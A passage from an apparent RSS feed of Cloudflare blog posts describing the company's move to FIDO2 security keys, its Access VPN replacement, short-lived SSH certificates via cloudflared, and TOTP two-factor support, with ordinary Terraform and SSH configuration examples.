    <p>Two-factor authentication is one of the most important security controls that can be implemented. Not all second factors provide the same level of security though. Time-based One-time password (TOTP) apps like Google Authenticator are a strong second factor, but are <a href="https://www.cloudflare.com/learning/email-security/what-is-email-fraud/">vulnerable to phishing</a> via man-in-the-middle attacks. A successful phishing attack on an employee with privileged access is a terrifying thought, and it is a risk we wanted to completely eliminate.</p><p><a href="https://fidoalliance.org/specs/fido-v2.0-rd-20161004/fido-client-to-authenticator-protocol-v2.0-rd-20161004.html">FIDO2</a> was developed to provide simple UX and complete protection against phishing attacks. We decided to fully embrace FIDO2 supported security keys in all contexts, but FIDO2 support is not yet ubiquitous and there are many challenging compatibility issues. Cloudflare Access allowed us to enforce that FIDO2 was the only second factor that can be used when reaching systems protected by Cloudflare Access.</p><p>In order to manage our <a href="https://registry.terraform.io/providers/cloudflare/cloudflare/latest/docs/resources/access_policy">Cloudflare Access policies</a> we check each one into source control as terraform code. Group based access control is enforced for our applications.</p>
            <pre><code>resource "cloudflare_access_policy" "prod_cloudflare_users" {
  application_id = cloudflare_access_application.prod_sandbox_access_application.id
  zone_id        = cloudflare_zone.prod_sandbox.id
  name           = "Allow "
  decision       = "allow"

  include {
    email_domain = ["cloudflare.com"]
    okta {
      # Require membership in Sandbox group
      name                 = ["ACL-ACCESS-sandbox"]
      identity_provider_id = cloudflare_access_identity_provider.okta_prod.id
    }
  }

  # Require a security key
  require {
    auth_method = "swk"
  }
}</code></pre>
            <p>The <code>require</code> section enforces that Cloudflare employees are using their FIDO2 supported security keys to access all of our internal and external applications that are protected by Access. More deeply described in <a href="https://datatracker.ietf.org/doc/rfc8176/">RFC8176</a>, auth_method is enforcing specific values are returned during the login flow from our OIDC provider within the <code>amr</code> field. The enforced <code>swk</code> is “Proof of possession of a software-secured key” which corresponds to logins using a security key.</p><p>The ability to enforce the use of security keys when accessing internal sites caused a massive improvement in our security posture. Prior to implementing this change, for many of our internal services we allowed both soft tokens like TOTP with Google Authenticator, along with WebAuthn because of a small number of systems that still didn’t support FIDO2. You’ll see that our use of soft tokens dropped to near zero after enforcing this change.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2v54nwYAAdgGpHURpaCgUs/dab84ed2d142d749cc47442c1ae06e60/QyHA5DUMOGgeLpD3qvfe-Qr4OnMSMi8n6-hbaeWVvsgZx6ZN0OpDtf72CwAbNY1t1Q1RrRgCdsHuFhJjfkX9WXYr8IM2ctzZPqFVz1o6zGMpCou2bH8l6Ze0ijoX.png" />
            
            </figure>
    <div>
      <h3>A Continued Practice</h3>
      <a href="#a-continued-practice">
        
      </a>
    </div>
    <p>Not only does the Security team deploy Cloudflare’s products, but we test them first too. We work directly with Product to “dog food” our own products first. It’s our mission to help build a better Internet — and that means testing our products and collecting valuable feedback from our internal teams before every launch. As the number one consumer of Cloudflare’s products, the Security team is not only helping keep the company safer, but also contributing to build better products for our customers.</p><p>To learn more about examples and technical implementation of our use of Cloudflare products at Cloudflare, please check out this recent Cloudflare TV segment on <a href="https://cloudflare.tv/event/3XVzDuzBL7TZ5HMB9Ni4b0">Securing Cloudflare with Cloudflare</a><b>.</b></p><p>And for more information on the products mentioned in this document, reach out to our Sales team to find out how we can help you secure your business, teams, and users.</p> ]]></content:encoded>
            <category><![CDATA[Security Week]]></category>
            <category><![CDATA[Dogfooding]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[LavaRand]]></category>
            <guid isPermaLink="false">7fbUy117ZxyBwWgcprLz1l</guid>
            <dc:creator>Molly Cinnamon</dc:creator>
            <dc:creator>Evan Johnson</dc:creator>
        </item>
        <item>
            <title><![CDATA[Dogfooding from Home: How Cloudflare Built our Cloud VPN Replacement]]></title>
            <link>https://blog.cloudflare.com/dogfooding-from-home/</link>
            <pubDate>Sat, 28 Mar 2020 12:00:00 GMT</pubDate>
            <description><![CDATA[ Rewind to 2015. Back then, as with many other companies, all of Cloudflare’s internally-hosted applications were reached via a hardware-based VPN.  ]]></description>
            <content:encoded><![CDATA[ <p></p><p><i>It’s never been more crucial to help remote workforces stay fully operational — for the sake of countless individuals, businesses, and the economy at large. In light of this, Cloudflare recently launched a program that offers our</i> <a href="https://teams.cloudflare.com/"><i>Cloudflare for Teams</i></a> <i>suite for free to any company, of any size, through September 1. Some of these firms have been curious about how Cloudflare itself uses these tools.</i></p><p><i>Here’s how Cloudflare’s next-generation </i><a href="https://www.cloudflare.com/products/zero-trust/vpn-replacement/"><i>VPN alternativ</i></a><i>e, Cloudflare Access, came to be.</i></p><p>Rewind to 2015. Back then, as with many other companies, all of Cloudflare’s internally-hosted applications were reached via a hardware-based VPN. When one of our on-call engineers received a notification (usually on their phone), they would fire up a clunky client on their laptop, connect to the VPN, and log on to Grafana.</p><p>It felt a bit like solving a combination lock with a fire alarm blaring overhead.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1loScoER3jSbV0Fx8ew5K3/d4529f071f20c8b92bc25613f8ca3050/1-4.png" />
            
            </figure><p>But for three of our engineers enough was enough. Why was a cloud network security company relying on clunky on-premise hardware?</p><p>And thus, Cloudflare Access was born.</p>
    <div>
      <h2>A Culture of Dogfooding</h2>
      <a href="#a-culture-of-dogfooding">
        
      </a>
    </div>
    <p>Many of the products Cloudflare builds are a direct result of the challenges our own team is looking to address, and Access is a perfect example. Development on Access originally began in 2015, when the project was known internally as EdgeAuth.</p><p>Initially, just one application was put behind Access. Engineers who received a notification on their phones could tap a link and, after authenticating via their browser, they would immediately have access to the key details of the alert in Grafana. We liked it a lot — enough to get excited about what we were building.</p><p>Access solved a variety of issues for our security team as well. Using our identity provider of choice, we were able to restrict access to internal applications at L7 using Access policies. This once onerous process of managing access control at the network layer with a VPN was replaced with a few clicks in the Cloudflare dashboard.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2r6zOhcoktU4SKn3GV40q9/5cd0d913e7ac1251a4a3f380d794ec4d/2-4.png" />
            
            </figure><p>After Grafana, our internal Atlassian suite including Jira and Wiki, and hundreds of other internal applications, the Access team began working to support non-HTTP based services. Support for git allowed Cloudflare’s developers to securely commit code from anywhere in the world in a fully audited fashion. This made Cloudflare’s security team very happy. Here’s a slightly modified example of a real authentication event that was generated while pushing code to our internal git repository.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6hRbK6bKTBmNnQhiaWF0Z6/9521336471e06597016619b326e3006f/3-5.png" />
            
            </figure><p>It didn’t take long for more and more of Cloudflare’s internal applications to make their way behind Access. As soon as people started working with the new authentication flow, they wanted it everywhere. Eventually our security team mandated that we move our apps behind Access, but for a long time it was totally organic: teams were eager to use it.</p><p>Incidentally, this highlights a perk of utilizing Access: you can start by protecting and streamlining the authentication flows for your most popular internal tools — but there’s no need for a wholesale rip-and-replace. For organizations that are experiencing limits on their hardware-based VPNs, it can be an immediate salve that is up and running after just one setup call with a Cloudflare onboarding expert (<a href="https://calendly.com/cloudflare-for-teams/onboarding?month=2020-03">you can schedule a time here).</a></p><p>That said, there are some upsides to securing everything with Access.</p>
    <div>
      <h2>Supporting a Global Team</h2>
      <a href="#supporting-a-global-team">
        
      </a>
    </div>
    <p>VPNs are notorious for bogging down Internet connections, and the one we were using was no exception. When connecting to internal applications, having all of our employees’ Internet connections pass through a standalone VPN was a serious performance bottleneck and single point of failure.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5v9QonqpsJsIHAQnskqPn4/fb16e5fa5e14c10e6b68ad52060db3b9/CLoudflare-access-vs-legacy-_2x.png" />
            
            </figure><p>Cloudflare Access is a much saner approach. Authentication occurs at our network edge, which extends to 200 cities in over 90 countries globally. Rather than having all of our employees route their network traffic through a single network appliance, employees connecting to internal apps are connecting to a data center just down the road instead.</p><p>As we support a globally-distributed workforce, our security team is committed to protecting our internal applications with the most secure and usable authentication mechanisms.</p><p>With Cloudflare Access we’re able to rely on the strong two-factor authentication mechanisms of our identity provider, which was much more difficult to do with our legacy VPN.</p>
    <div>
      <h2>On-Boarding and Off-Boarding with Confidence</h2>
      <a href="#on-boarding-and-off-boarding-with-confidence">
        
      </a>
    </div>
    <p>One of the trickiest things for any company is ensuring everyone has access to the tools and data they need — but no more than that. That’s a challenge that becomes all the more difficult as a team scales. As employees and contractors leave, it is similarly essential to ensure that their permissions are swiftly revoked.</p><p>Managing these access controls is a real challenge for IT organizations around the world — and it’s greatly exacerbated when each employee has multiple accounts strewn across different tools in different environments. Before using Access, our team had to put in a lot of time to make sure every box was checked.</p><p>Now that Cloudflare’s internal applications are secured with Access, on- and offboarding is much smoother. Each new employee and contractor is quickly granted rights to the applications they need, and they can reach them via a launchpad that makes them readily accessible. When someone leaves the team, one configuration change gets applied to every application, so there isn’t any guesswork.</p><p>Access is also a big win for network visibility. With a VPN, you get minimal insight into the activity of users on the network – you know their username and IP address. but that’s about it. If someone manages to get in, it’s difficult to retrace their steps.</p><p>Cloudflare Access is based on a zero-trust model, which means that every packet is authenticated. It allows us to assign granular permissions via Access Groups to employees and contractors. And it gives our security team the ability to detect unusual activity across any of our applications, with extensive logging to support analysis. Put simply: it makes us more confident in the security of our internal applications.</p>
    <div>
      <h2>But It’s Not Just for Us</h2>
      <a href="#but-its-not-just-for-us">
        
      </a>
    </div>
    <p>With the massive transition to a <a href="https://www.cloudflare.com/products/zero-trust/remote-workforces/">remote work model</a> for many organizations, Cloudflare Access can make you more confident in the security of your internal applications — while also driving increased productivity in your remote employees. Whether you rely on Jira, Confluence, SAP or custom-built applications, it can secure those applications and it can be live in minutes.</p><p>Cloudflare has made the decision to make Access completely free to all organizations, all around the world, through September 1. If you’d like to get started, follow our quick start guide here:Or, if you’d prefer to onboard with one of our specialists, schedule a 30 minute call at this link: <a href="https://calendly.com/cloudflare-for-teams/onboarding?month=2020-03">calendly.com/cloudflare-for-teams/onboarding?month=2020-03</a></p> ]]></content:encoded>
            <category><![CDATA[Cloudflare Access]]></category>
            <category><![CDATA[VPN]]></category>
            <category><![CDATA[Cloudflare Zero Trust]]></category>
            <guid isPermaLink="false">3eOMZ4uPPsC6opFIkjbzOs</guid>
            <dc:creator>Evan Johnson</dc:creator>
        </item>
        <item>
            <title><![CDATA[Public keys are not enough for SSH security]]></title>
            <link>https://blog.cloudflare.com/public-keys-are-not-enough-for-ssh-security/</link>
            <pubDate>Fri, 25 Oct 2019 13:00:00 GMT</pubDate>
            <description><![CDATA[ If your organization uses SSH public keys, it’s entirely possible you have already lost one. There is a file sitting in a backup or on a former employees computer which grants the holder access to your infrastructure. ]]></description>
            <content:encoded><![CDATA[ <p>If your organization uses SSH public keys, it’s entirely possible you have already mislaid one. There is a file sitting in a backup or on a former employee’s computer which grants the holder access to your infrastructure. If you share SSH keys between employees it’s likely only a few keys are enough to give an attacker access to your entire system. If you don’t share them, it’s likely your team has generated so many keys you long lost track of at least one.</p><p>If an attacker can breach a single one of your client devices it’s likely there is a <code>known_hosts</code> file which lists every target which can be trivially reached with the keys the machine already contains. If someone is able to compromise a team member’s laptop, they could use keys on the device that lack password protection to reach sensitive destinations.</p><p>Should that happen, how would you respond and revoke the lost SSH key? Do you have an accounting of the keys which have been generated? Do you rotate SSH keys? How do you manage that across an entire organization so consumed with serving customers that security has to be effortless to be adopted?</p><p>Cloudflare Access <a href="/releasing-the-cloudflare-access-feature-that-let-us-smash-a-vpn-on-stage/">launched</a> support for SSH connections last year to bring zero-trust security to how teams connect to infrastructure. Access integrates with your IdP to bring SSO security to SSH connections by enforcing identity-based rules each time a user attempts to connect to a target resource.</p><p>However, once Access connected users to the server they still had to rely on legacy SSH keys to authorize their account. Starting today, we’re excited to help teams remove that requirement and replace static SSH keys with short-lived certificates.</p>
    <div>
      <h2>Replacing a private network with Cloudflare Access</h2>
      <a href="#replacing-a-private-network-with-cloudflare-access">
        
      </a>
    </div>
    <p>In <a href="https://www.cloudflare.com/learning/access-management/what-is-the-network-perimeter/">traditional network perimeter models</a>, teams secure their infrastructure with two gates: a private network and SSH keys.</p><p>The private network requires that any user attempting to connect to a server must be on the same network, or a peered equivalent (such as a VPN). However, that introduces some risk. Private networks default to trust that a user on the network can reach a machine. Administrators must proactively <a href="https://www.cloudflare.com/learning/access-management/what-is-network-segmentation/">segment the network</a> or secure each piece of the infrastructure with control lists to work backwards from that default.</p><p>Cloudflare Access secures infrastructure by starting from the other direction: no user should be trusted. Instead, users must prove they should be able to access any unique machine or destination by default.</p><p>We released support for <a href="https://www.cloudflare.com/learning/access-management/what-is-ssh/">SSH connections</a> in Cloudflare Access <a href="/releasing-the-cloudflare-access-feature-that-let-us-smash-a-vpn-on-stage/">last year</a> to help teams leave that network perimeter model and replace it with one that evaluates every request to a server for user identity. Through integration with popular identity providers, that solution also gives teams the ability to bring their SSO pipeline into their SSH flow.</p>
    <div>
      <h2>Replacing static SSH keys with short-lived certificates</h2>
      <a href="#replacing-static-ssh-keys-with-short-lived-certificates">
        
      </a>
    </div>
    <p>Once a user is connected to a server over SSH, they typically need to authorize their session. The machine they are attempting to reach will have a set of profiles which consists of user or role identities. Those profiles define what actions the user is able to take.</p><p>SSH processes make a few options available for the user to login to a profile. In some cases, users can login with a username and password combination. However, most teams rely on public-private key certificates to handle that login. To use that flow, administrators and users need to take prerequisite steps.</p><p>Prior to the connection, the user will generate a certificate and provide the public key to an administrator, who will then configure the server to trust the certificate and associate it with a certain user and set of permissions. The user stores that certificate on their device and presents it during that last mile. However, this leaves open all of the problems that SSO attempts to solve:</p><ul><li><p>Most teams never force users to rotate certificates. If they do, it might be required once a year at most. This leaves static credentials to core infrastructure lingering on hundreds or thousands of devices.</p></li><li><p>Users are responsible for securing their certificates on their devices. Users are also responsible for passwords, but organizations can enforce requirements and revocation centrally.</p></li><li><p>Revocation is difficult. Teams must administer a CRL or OCSP platform to ensure that lost or stolen certificates are not used.</p></li></ul><p>With Cloudflare Access, you can bring your SSO accounts to user authentication within your infrastructure. No static keys required.</p>
    <div>
      <h2>How does it work?</h2>
      <a href="#how-does-it-work">
        
      </a>
    </div>
    <p>To build this we turned to three tools we already had: Cloudflare Access, Argo Tunnel and Workers.</p><p>Access is a policy engine which combines the employee data in your identity provider (like Okta or AzureAD) with policies you craft. Based on those policies Access is able to limit access to your internal applications to the users you choose. It’s not a far leap to see how the same policy concept could be used to control access to a server over SSH. You write a policy and we use it to decide which of your employees should be able to access which resources. Then we generate a short-lived certificate allowing them to access that resource for only the briefest period of time. If you remove a user from your IdP, their access to your infrastructure is similarly removed, seamlessly.</p><p>To actually funnel the traffic through our network we use another existing Cloudflare tool: Argo Tunnel. Argo Tunnel flips the traditional model of connecting a server to the Internet. When you spin up our daemon on a machine it makes outbound connections to Cloudflare, and all of your traffic then flows over those connections. This allows the machine to be a part of Cloudflare’s network without you having to expose the machine to the Internet directly.</p><p>For HTTP use cases, Argo Tunnel only needs to run on the server. In the case of the Access SSH flow, we proxy SSH traffic through Cloudflare by running the Argo Tunnel client, <code>cloudflared</code>, on both the server and the end user’s laptop.</p><p>When users connect over SSH to a resource secured by Access for Infrastructure, they use the command-line tool <code>cloudflared</code>. <code>cloudflared</code> takes the SSH traffic bound for that hostname and forwards it through Cloudflare based on SSH config settings. No piping or command wrapping required. <code>cloudflared</code> launches a browser window and prompts the user to authenticate with their SSO credentials.</p><p>Once authenticated, Access checks the user's identity against the policy you have configured for that application. If the user is permitted to reach the resource, Access generates a JSON Web Token (JWT), signed by Cloudflare and scoped to the user and application. Access distributes that token to the user’s device through <code>cloudflared</code> and the tool stores it locally.</p><p>Like the core Access authentication flow, the token validation is built with a Cloudflare Worker running in every one of our data centers, making it both fast and highly available. Workers made it possible for us to deploy this SSH proxying to all 194 of Cloudflare’s data centers, meaning Access for Infrastructure often speeds up SSH sessions rather than slowing them down.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1MxtvEuRCYs7hngzPl4Pyb/917149b04474ae4a309a05faccc47839/Short-lived-Cert-copy_2x-1.png" />
            
            </figure><p>With short-lived certificates enabled, the instance of <code>cloudflared</code> running on the client takes one additional step. <code>cloudflared</code> sends that token to a Cloudflare certificate signing endpoint that creates an ephemeral certificate. The user's SSH flow then sends both the token, which is used to authenticate through Access, and the short-lived certificate, which is used to authenticate to the server. Like the core Access authentication flow, the token validation is built with a Cloudflare Worker running in every one of our data centers, making it both fast and highly available.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1CgKQgZMDeHEkLHWTJEY7r/a5553c302a6d394e6355cf421e6234d9/Short-lived-Cert_2x.png" />
            
            </figure><p>When the server receives the request, it validates the short-lived certificate against that public key and, if authentic, authorizes the user identity to a matching Unix user. The certificate, once issued, is valid for 2 minutes but the SSH connection can last longer once the session has started.</p>
    <div>
      <h2>What is the end user experience?</h2>
      <a href="#what-is-the-end-user-experience">
        
      </a>
    </div>
    <p>Cloudflare Access’ SSH feature is entirely transparent to the end user and does not require any unique SSH commands, wrappers, or flags. Instead, Access requires that your team members take a couple one-time steps to get started:</p>
    <div>
      <h4>1. Install the cloudflared daemon</h4>
      <a href="#1-install-the-cloudflared-daemon">
        
      </a>
    </div>
    <p>The same lightweight software that runs on the target server is used to proxy SSH connections from your team members’ devices through Cloudflare. Users can install it with popular package managers like brew or at the link available <a href="https://developers.cloudflare.com/access/cli/installing-cli-tool/">here</a>. Alternatively, the software is open-source and can be built and distributed by your administrators.</p>
    <div>
      <h4>2. Print SSH configuration update and save</h4>
      <a href="#2-print-ssh-configuration-update-and-save">
        
      </a>
    </div>
    <p>Once an end user has installed <code>cloudflared</code>, they need to run one command to generate new lines to add to their SSH config file:</p>
            <pre><code>cloudflared access ssh-config --hostname vm.example.com --short-lived-cert</code></pre>
            <p>The <code>--hostname</code> field will contain the hostname or wildcard subdomain of the resource protected behind Access. Once run, <code>cloudflared</code> will print the following configurations details:</p>
            <pre><code>Host vm.example.com
    ProxyCommand bash -c '/usr/local/bin/cloudflared access ssh-gen --hostname %h; ssh -tt %r@cfpipe-vm.example.com &gt;&amp;2 &lt;&amp;1'
    
Host cfpipe-vm.example.com
    HostName vm.example.com
    ProxyCommand /usr/local/bin/cloudflared access ssh --hostname %h
    IdentityFile ~/.cloudflared/vm.example.com-cf_key
    CertificateFile ~/.cloudflared/vm.example.com-cf_key-cert.pup</code></pre>
            <p>Users need to append that output to their SSH config file. Once saved, they can connect over SSH to the protected resource. Access will prompt them to authenticate with their SSO credentials in the browser, in the same way they login to any other browser-based tool. If they already have an active browser session with their credentials, they’ll just see a success page.</p><p>In their terminal, <code>cloudflared</code> will establish the session and issue the client certificate that corresponds to their identity.</p>

    <div>
      <h2>What’s next?</h2>
      <a href="#whats-next">
        
      </a>
    </div>
    <p>With short-lived certificates, Access can become a single SSO-integrated gateway for your team and infrastructure in any environment. Users can SSH directly to a given machine and administrators can replace their jumphosts altogether, removing that overhead. The feature is available today for all Access customers. You can get started by following the documentation available <a href="https://developers.cloudflare.com/access/ssh/short-live-cert-server/">here</a>.</p> ]]></content:encoded>
            <category><![CDATA[Cloudflare Access]]></category>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">6SSR4po7Ba1Hf97TpQ9ZRc</guid>
            <dc:creator>Sam Rhea</dc:creator>
            <dc:creator>Evan Johnson</dc:creator>
        </item>
        <item>
            <title><![CDATA[You can now use Google Authenticator and any TOTP app for Two-Factor Authentication]]></title>
            <link>https://blog.cloudflare.com/you-can-now-use-google-authenticator/</link>
            <pubDate>Thu, 16 Feb 2017 21:52:49 GMT</pubDate>
            <description><![CDATA[ Since the very beginning, Cloudflare has offered two-factor authentication with Authy, and starting today we are expanding your options to keep your account safe with Google Authenticator and any Time-based One Time Password (TOTP) app of your choice. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Since the very beginning, Cloudflare has offered <a href="/choosing-a-two-factor-authentication-system/">two-factor authentication with Authy</a>, and starting today we are expanding your options to keep your account safe with Google Authenticator and any Time-based One Time Password (TOTP) app of your choice.</p><p>If you want to get started right away, <a href="https://www.cloudflare.com/a/account/my-account">visit your account settings</a>. Setting up Two-Factor with Google Authenticator or with any TOTP app is easy - just use the app to scan the barcode you see in the Cloudflare dashboard, enter the code the app returns, and you’re good to go.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1Zx79zxgeaggLrqgyfoILY/49d4594bad96d6a5a57825b5b264561b/IMG_3701_5.png" />
            
            </figure>
    <div>
      <h3>Importance of Two-Factor Authentication</h3>
      <a href="#importance-of-two-factor-authentication">
        
      </a>
    </div>
    <p>Often when you hear that an account was ‘hacked’, it really means that the password was stolen.</p><blockquote><p>If the media stopped saying 'hacking' and instead said 'figured out their password', people would take password security more seriously.</p><p>— Khalil Sehnaoui (@sehnaoui) <a href="https://twitter.com/sehnaoui/status/816861012016197632">January 5, 2017</a></p></blockquote><p>Two-Factor authentication is sometimes thought of as something that should be used to protect <i>important</i> accounts, but the best practice is to always enable it when it is available. Without a second factor, any mishap involving your password can lead to a compromise. Journalist Mat Honan’s <a href="https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/">high profile compromise</a> in 2012 is a great example of the importance of two-factor authentication. When he later <a href="https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/">wrote about the incident</a> he said, "Had I used two-factor authentication for my Google account, it’s possible that none of this would have happened."</p>
    <div>
      <h3>What is a TOTP app?</h3>
      <a href="#what-is-a-totp-app">
        
      </a>
    </div>
    <p><a href="https://tools.ietf.org/html/rfc6238">TOTP (Time-based One Time Password)</a> is the mechanism that Google Authenticator, Authy and other two-factor authentication apps use to generate short-lived authentication codes. <a href="/choosing-a-two-factor-authentication-system">We’ve written previously on the blog</a> about how TOTP works.</p><p>We didn’t want to limit you to only using two-factor providers that we'd built integrations with, so we built an open TOTP integration in the Cloudflare dashboard, allowing you to set up two-factor with any app that implements TOTP. That means you can choose from a wide array of apps for logging into Cloudflare securely with two-factor such as <a href="https://m.vip.symantec.com/home.v">Symantec</a>, <a href="https://duo.com/product/trusted-users/two-factor-authentication/duo-mobile">Duo Mobile</a> and <a href="https://support.1password.com/guides/ios/?q=totp">1Password</a>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2NRvcimd3ivJwDuKgGRIOC/600caf42c23fcb0c9921fc19a759b003/Screen-Shot-2017-02-15-at-3.59.18-PM_5.png" />
            
            </figure>
    <div>
      <h3>Get Started</h3>
      <a href="#get-started">
        
      </a>
    </div>
    <p>If you want to enable Two-Factor Authentication with Google Authenticator or any other TOTP provider, visit <a href="https://cloudflare.com/a/account/my-account">your account settings here</a>. It’s easy to set up and the best way to secure your account. We also have step by step instructions for you <a href="https://support.cloudflare.com/hc/en-us/articles/200167866">in our knowledge base</a>.</p> ]]></content:encoded>
            <category><![CDATA[Google]]></category>
            <category><![CDATA[Authy]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">7tfSOTb7M9IB9n4KkDOsv0</guid>
            <dc:creator>Evan Johnson</dc:creator>
        </item>
    </channel>
</rss>